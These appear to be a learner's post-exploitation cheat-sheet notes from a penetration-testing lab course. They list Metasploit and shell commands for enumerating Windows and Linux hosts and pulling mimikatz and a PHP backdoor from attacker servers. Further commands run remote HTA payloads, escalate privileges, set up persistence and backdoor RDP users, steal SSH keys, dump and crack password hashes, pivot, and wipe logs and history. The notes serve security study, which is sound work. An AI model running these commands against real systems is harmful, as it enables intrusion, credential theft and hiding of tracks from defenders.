Post-Exploitation
- enumerating windows system information
- scan
nmap -sV demo.ine.local
- searchsploit
searchsploit rejetto
, exploit withuse exploit/windows/http/rejetto_hfs_exec
- msf commands
sysinfo
shell
hostname
systeminfo
- detailed info about windows hotfix
wmic qfe get Caption,Description,HotFixID,InstalledOn
when finding out exact windows version
- scan
- enumerating windows users and groups
- msf commands
getuid
getprivs
- post exploit
background
use post/windows/gather/enum_logged_on_users
set SESSION 1
- check current permissions
whoami /priv
- check users
net users
net user administrator
- check groups
net localgroup
net localgroup administrators
- msf commands
- enumerating windows network information
- cmd commands
ipconfig
ipconfig /all
route print
arp -a
netstat -ano
- cmd commands
- enumerating processes and services
- cmd commands
ps
pgrep explorer.exe
migrate 2252
- check services
net start
, detailswmic service list brief
- check tasks
tasklist /SVC
schtasks /query /fo LIST
- cmd commands
- automating windows local enumeration
- post exploit module for enum privs
use post/windows/gather/win_privs
- post exploit module for logged on users
use post/windows/gather/enum_logged_on_users
- post exploit check vm
use post/windows/gather/checkvm
- post exploit check apps
use post/windows/gather/enum_applications
- post exploit check computers
use post/windows/gather/enum_computers
- post exploit check patches
use post/windows/gather/enum_patches
- cool project
https://github.com/411Hall/JAWS
, upload withupload /root/Desktop/jaws-enum.ps1
- execute file
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
downloaddownload JAWS-Enum.txt
- post exploit module for enum privs
- enumerating linux system information
- commands
sysinfo
hostname
cat /etc/issue
cat /etc/*release
uname -a
lscpu
df -h
- commands
- enumerating linux users and groups
- check user groups information
getuid
whoami
groups root
cat /etc/passwd
groups
who
lastlog
- check user groups information
- enumerating linux network information
- commands
ifconfig
netstat
route
cat /etc/networks
cat /etc/hosts
cat /etc/resolv.conf
- commands
- enumerating processes and cronjobs
- commands
ps
pgrep vsftpd
ls -al /etc/cron*
- commands
- automating linux local enumeration
- use
background
, load modules - check os info
use post/linux/gather/enum_configs
- check network
use post/linux/gather/enum_network
- check system config
use post/linux/gather/enum_system
- github
https://github.com/rebootuser/LinEnum
- use
- setting up a web server with python
- command
python -m SimpleHTTPServer 80
- command
- transferring files with windows targets
- use
python3 -m http.server 80
andcertutil -urlcache -f http://10.10.31.3/mimikatz.exe mimikatz.exe
- use
- transferring files to linux targets
- use
python3 -m http.server 80
andwget http://192.217.117.2/php-backdoor.php
- use
- upgrading non-interactive shells
- using bash interactive
/bin/bash -i
- using python
python -c 'import pty; pty.spawn("/bin/bash")'
- using bash interactive
- windows privesc check
- check folder
cd C:\Users\student\Desktop\PrivescCheck
- run script
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
- use the credentials
runas.exe /user:administrator cmd
- start an hta server
use exploit/windows/misc/hta_server
and execute payloadmshta.exe http://10.10.31.2:8080/Rv4eiCTge85UJ15.hta
- check folder
- permissions matter!
- check for writable files
find / -not -type l -perm -o+w
- create password for root user
openssl passwd -1 -salt abc password
and add the generated entryvim /etc/shadow
- check for writable files
- editing gone wrong
- check suid binaries
find / -user root -perm -4000 -exec ls -ldb {} \;
- check sudo commands
sudo -l
- launch man and get shell
sudo man ls
!/bin/bash
- check suid binaries
- maintaining access, persistence service
- use module
use exploit/windows/local/persistence_service
to get a new session whenever victim reboots
- use module
- maintaining access, rdp
- migrate to gain privilege
getuid
ps -S explorer.exe
migrate 2764
- msf meterpreter
run getgui -e -u alice -p hack_123321
and login withxfreerdp /u:alice /p:hack_123321 /v:demo.ine.local
- migrate to gain privilege
- maintaining access I
- copy the ssh private key
scp student@demo.ine.local:~/.ssh/id_rsa .
- login with private key
chmod 400 id_rsa
ssh -i id_rsa student@demo.ine.local
- copy the ssh private key
- local job scheduling
- create cronjob for http server
echo "* * * * * cd /home/student/ && python -m SimpleHTTPServer" > cron
crontab -i cron
crontab -l
- create cronjob for http server
- windows ntlm hash cracking
- migrate to lsass.exe
migrate -N lsass.exe
- dump the hashes
hashdump
- check hashes are stored
background
creds
- crack hashes
use auxiliary/analyze/crack_windows
set CUSTOM_WORDLIST /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
- migrate to lsass.exe
- linux password cracker
- start the database
/etc/init.d/postgresql start
- linux hashdump
use post/linux/gather/hashdump
- crack hash
use auxiliary/analyze/crack_linux
set SHA512 true
- start the database
- pivoting
- use
ipconfig
to check the ip of next machine then userun autoroute -s 10.0.16.0/20
- now we can scan using
use auxiliary/scanner/portscan/tcp
- do port forwarding
portfwd add -l 1234 -p 80 -r demo2.ine.local
- use
- clearing your own tracks on windows
- clear event logs
clearev
- clear event logs
- clearing your own tracks on linux
- clear history
history -c
- clear bash history file
cat /dev/null > ~/.bash_history
- clear history